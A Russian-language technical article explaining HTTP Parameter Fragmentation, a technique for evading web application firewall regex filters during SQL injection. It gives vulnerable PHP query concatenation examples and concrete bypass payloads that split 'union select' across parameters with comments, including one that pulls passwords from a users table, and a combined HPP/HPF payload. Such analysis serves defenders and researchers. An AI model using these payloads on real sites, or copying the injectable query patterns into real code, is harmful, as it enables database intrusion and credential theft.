HTTP Parameter Fragmentation (HPF) – один из способов обхода фильтров безопасности в Web-приложениях

Идея использования фрагментации предаваемых параметров (HPF) при обращении к Web-приложению с целью обхода фильтров безопасности (в частности WAF) не является сколь угодно новой. Данную технику, по словам одного из участников WASC Mailing List, эпизодически можно встретить в публикуемых эксплоитах на сайте milw0rm.com. Однако применение данной техники, в том числе и в настоящее время, позволяет эффективно обходить используемые фильтры в большинстве современных WAF (в частности промышленного - mod_security). В чем же суть данной техники? Разберем на примерах эксплуатации уязвимости SQL Injection.

Достаточно часто требуется, чтобы в один SQL-запрос попадало два и более параметра со стороны пользователя, например:

Query("select * from table where a=".$_REQUEST ['a']." and b>".$_REQUEST ['b']);

Query("select * from table where a=".$_REQUEST ['a']." and b<".$_REQUEST ['b']." limit ".$_REQUEST['c']);

и т.д.


На этапе проверки получаемых значений, передаваемых параметров со стороны пользователя, на уровне Web-приложения, приложение способно оперировать только переменными Web-сервера, а WAF, в зависимости от режима своей работы, может манипулировать непосредственно сырыми данными протокола HTTP. Но вне зависимости от способа обращения к данным, все сводится к тому, что определенные регулярные выражения (regexp) отрабатывают для каждого параметра отдельно. То есть:

preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['a'])
preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['b'])
preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['c'])
...
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['a'])
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['b'])
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['c'])
...

Таким образом, разнося логику sql-запроса по параметрам, поступающим в этот SQL-запрос, и склеивая их, путем использования комментариев, становится возможным обойти подобные фильтры:

/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users

Regexp’ы не отрабатывают:

preg_match("/(uni)(on.+sel)(ect)/is", "1+union/*") = false
preg_match("/(uni)(on.+sel)(ect)/is", "*/select+1,2") = false
...
preg_match("/(sel)(ect.+fr)(om)/is", "*/from+users") = false
...

SQL-запросы принимают вид:

Query("select * from table where a=1 union/* and b>*/select 1,2");
Query("select * from table where a=1 union/* and b<*/select 1,pass/* limit */from users");

Т.к. комментарии игнорируются, то фактически запросы выглядят так:

select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users

Можно заметить, что HPF по вектору атаки очень похож на использование HPP (HTTP Parameter Pollution), однако, в отличие от второго, реализация HPF нацелена на эксплуатацию уязвимости в самом Web-приложении, а не его среды, как это происходит в случае с HPP. И, безусловно, оба метода атаки могут дополнять друг друга. Например, комбинирование двух техник может использоваться в случае, когда SQL-инъекция попадает последовательно в два SQL-запроса:

Query("select id,user,email from table where a=".$_REQUEST ['a']." limit ".$_REQUEST ['b']);
Query("select id,user from table where a=".$_REQUEST ['a']);

Предположим, что вывод отображается только в том случае, когда оба запроса не возвращают ошибку БД. Тогда, комбинируя методы HPP и HPF, вместо blind-SQL Injection, становится возможным использовать union, например, следующим образом:

/?a=1+union/*&a=*/select+1,2/*&b=*/,3

И SQL-запросы примут корректный вид:

select id,user,email from table where a=1 union select 1,2,3
select id,user from table where a=1 union select 1,2

Источники:
antichat: http://forum.antichat.ru/showpost.php?p=911841&postcount=2
antichat: http://forum.antichat.ru/showpost.php?p=970729&postcount=3
OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
WASC Mailing List, http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html
CC09 Dmitry Evteev, http://www.ptsecurity.ru/download/PT-devteev-CC-WAF.pdf